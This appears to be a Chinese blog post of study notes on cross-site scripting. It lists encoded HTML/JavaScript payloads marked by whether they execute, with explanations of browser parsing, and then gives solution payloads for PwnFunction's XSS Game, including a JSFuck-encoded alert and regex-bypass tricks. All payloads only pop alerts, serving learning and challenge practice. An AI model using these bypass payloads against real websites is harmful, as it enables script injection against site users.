XSS跨站脚本攻击

html 复制代码
N1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">1</a>
URL 编码 "javascript:alert(1)"        
#<a>标签无法对urlcode编码进行解码,无法识别JavaScript:
Y2.<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">2</a>
HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"        
#href中为URL,URL模块可识别javascript:协议,并且对alert(2)进行URL解码
N3.<a href="javascript%3aalert(3)">3</a>
URL 编码 ":"        
#<a>标签无法对urlcode编码进行解码,无法完整的识别JavaScript:协议
N4.<div>&#60;img src=x onerror=alert(4)&#62;</div>
HTML字符实体编码 < 和 >        
#在读取<div>之后进入数据状态,<会被HTML解码,但不会进入标签开始状态,当然也就不会创建img元素。
N5.<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
HTML字符实体编码 < 和 >        
#<textarea>是RCDATA元素,可以容纳文本和字符引用,不能容纳其他元素。
N6.<textarea><script>alert(6)</script></textarea>        
#<textarea>是RCDATA元素,可以容纳文本和字符引用,不能容纳其他元素。
Y7.<button onclick="confirm('7&#39);">Button</button>
HTML字符实体编码 " ' " (单引号)        
N8.<button onclick="confirm('8\u0027);">Button</button>       
Unicode编码 " ' " (单引号)        
#onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,`'`显然不行,JS执行失败。
N9.<script>&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;&#59;</script>
HTML字符实体编码 alert(9);        
#script属于原始文本元素只可以容纳文本,于是直接由JS处理,JS也认不出来,执行失败。
Y10.<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
Unicode 编码 alert        
#script属于原始文本元素只可以容纳文本,于是直接由JS处理,JS可以解析Unicode的编码。
N11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
Unicode 编码 alert(11)        
#JS中只有字符串和标识符能用Unicode表示。
N12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
Unicode 编码 alert 和 12        
#\u0031\u0032在解码的时候会被解码为字符串`12`,注意是字符串,不是数字,文字显然是需要引号的,JS执行失败。
N13.<script>alert('13\u0027)</script>
Unicode 编码 " ' " (单引号)         
#script属于原始文本元素只可以容纳文本,于是直接由JS处理,JS可以解析Unicode的编码。
Y14.<script>alert('14\u000a')</script>
Unicode 编码换行符(0x0A)
Y15.<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;">15</a>  
#html->url->unicode

* 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。

* 原始文本元素,可以容纳文本。

* RCDATA元素,可以容纳文本和字符引用。

* 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释

* 基本元素,可以容纳文本、字符引用、其他元素和注释

XSS Game - Learning XSS Made Simple! | Created by PwnFunction

#innerText 是 JavaScript 中的一个 DOM(文档对象模型)属性,表示 HTML 元素的可见文本内容。它包含元素及其子元素中的所有文本,同时排除任何标记或隐藏文本。<script>中不包含可见文本。

somebody=<img src=1 οnerrοr="alert(1337)">

?jeff=aaa";alert(1337);"

?jeff=aaa"-alert(1337);-"

#在js中-两边都是表达式,则可以执行代码

?wey=aaa" οnfοcus="alert(1337)" autofocus="true

?ricardo=javascript:alert(1337)

?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">

?markassbrownlee=<img src=1 οnerrοr="javascript:alert%26%2340%3B1337%26%2341">

#%26%2340%3B1%26%2341解码成&#40;1&#41

alert(1337)=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])

#因为在 URL 中字符 +%20 都代表空格。如果需要在 URL 中使用实际的 + 字符,而不是表示空格,必须对其进行编码。

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

?mafia=eval(8680439..toString(30))(1337)

#8680439是alert的30进制。这里将8680439又转成字符串来绕过正则。

?mafia=eval(location.hash.slice(1))#alert(1337)

"#"号后面的值并没有传给mafia

#payload:prompt(1337);

#payload:confirm(1337);

​​​​​​​

相关推荐
qmx_0729 分钟前
HTB-Jerry(tomcat war文件、msfvenom)
java·web安全·网络安全·tomcat
为风而战37 分钟前
IIS+Ngnix+Tomcat 部署网站 用IIS实现反向代理
java·tomcat
编程零零七2 小时前
Python数据分析工具(三):pymssql的用法
开发语言·前端·数据库·python·oracle·数据分析·pymssql
技术无疆3 小时前
快速开发与维护:探索 AndroidAnnotations
android·java·android studio·android-studio·androidx·代码注入
(⊙o⊙)~哦4 小时前
JavaScript substring() 方法
前端
无心使然云中漫步4 小时前
GIS OGC之WMTS地图服务,通过Capabilities XML描述文档,获取matrixIds,origin,计算resolutions
前端·javascript
Bug缔造者4 小时前
Element-ui el-table 全局表格排序
前端·javascript·vue.js
xnian_5 小时前
解决ruoyi-vue-pro-master框架引入报错,启动报错问题
前端·javascript·vue.js
麒麟而非淇淋6 小时前
AJAX 入门 day1
前端·javascript·ajax
架构文摘JGWZ6 小时前
Java 23 的12 个新特性!!
java·开发语言·学习